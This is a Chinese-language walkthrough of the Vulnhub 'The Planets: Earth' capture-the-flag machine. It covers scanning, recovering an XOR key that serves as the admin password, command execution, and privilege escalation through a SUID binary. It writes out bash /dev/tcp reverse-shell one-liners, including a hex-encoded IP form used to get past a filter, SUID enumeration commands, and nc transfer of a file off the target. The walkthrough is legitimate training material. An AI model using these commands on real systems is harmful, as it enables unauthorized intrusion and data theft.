The Planets: Earth-Vulnhub靶场
环境准备
靶场地址:https://www.vulnhub.com/entry/the-planets-earth,755/
kali攻击机:192.168.124.129
靶机:192.168.124.131
打靶过程
1.使用arp扫描探索靶机
扫描发现192.168.124.131靶机
访问192.168.124.131页面,未发现可用信息
2.使用nmap扫描靶机端口及服务情况
发现了443端口有两条dns地址
并将其加入物理机本地host解析记录中(kali使用NET模式即可访问该地址)
访问https://earth.local与https://terratest.earth.local
https://earth.local 页面下方有3条Previous Messages,应该是加密消息
https://terratest.earth.local 没发现有用信息
3.扫描两个站点的目录
访问https://earth.local/admin/login 是一个登录地址
访问https://earth.local/cgi-bin/ 拒绝访问
访问https://terratest.earth.local/robots.txt 发现一个比较特别 /testingnotes.*
经过尝试,发现为testingnotes.txt
这里提示消息是通过XOR加密,又testdata.txt用于测试加密,且地球已确认收到了消息,猜测已经成功发送过测试消息,这里还得知了terra是用户名(应该就是前面https://earth.local/admin/login的用户名了,还缺密码)
访问testdata.txt
既然已经发过测试消息,下面3条previous messages肯定有一条是测试消息,那么现在就需要知道密钥message key是什么了
4.XOR运算获取密钥
使用加解密工具[CyberChef](https://gchq.github.io/CyberChef/) 根据XOR运算的性质aXORbXORa=b,且在本靶机中,a为message,b为message key,aXORb为previous message;那么只要previous message和message做一次XOR运算,就可以得到message key先将previous message从16进制数转化为UTF-8,再与message进行XOR运算,message就是testdata.txt的内容,XOR运算也使用UTF-8编码
得到结果,发现都是重复的earthclimatechangebad4humans,经过测试发现是message key
前面https://earth.local/admin/login 已知用户名terra,密码未知,尝试message key,成功登录
尝试系统命令 id,可执行命令
尝试反弹shell
bash -i >& /dev/tcp/192.168.124.129/8888 0>&1
发现无法成功反弹,后尝试16进制编码再反弹
bash -i >& /dev/tcp/0xc0.0xa8.0x7c.0x81/8888 0>&1
成功反弹shell
使用find命令查找一下flag
find / -name "*flag.txt"
5.提权
现在只有网站权限,尝试提权到root
先看下suid有些什么信息,下列命令都可查看suid
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
suid提权可参考
Nmap Vim find Bash More Less Nano cp
发现一条比较特殊 reset_root
查看该命令发现大概意思是修改root密码为Earth
尝试执行reset_root命令,发现执行失败,提示触发器不存在
那么需要分析下reset_root命令,由于靶机没有ltrace,所以将/usr/bin/reset_root传到本地分析
kali攻击机监听2222端口,并将接收到的内容重定向到文件reset_root
nc -lvvp 2222 > reset_root
靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口
nc 192.168.124.129 2222 < /usr/bin/reset_root
接收到会自动存在家目录下
给reset_root赋予执行权限,然后使用ltrace命令跟踪库函数调用
可以看出会检查触发器是否存在为条件,这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在
那么在靶机上创建这三个文件夹,再执行reset_root,成功重置root密码为Earth
成功su到root
root用户家目录成功发现root_flag.txt
总结
1.XOR 运算:XOR 运算的特性 aXORbXORa=b
2.SUID 提权:可见这个 SUID 不是传统那几个可执行文件,是第三方的可执行文件,同样需要关注其作用和功能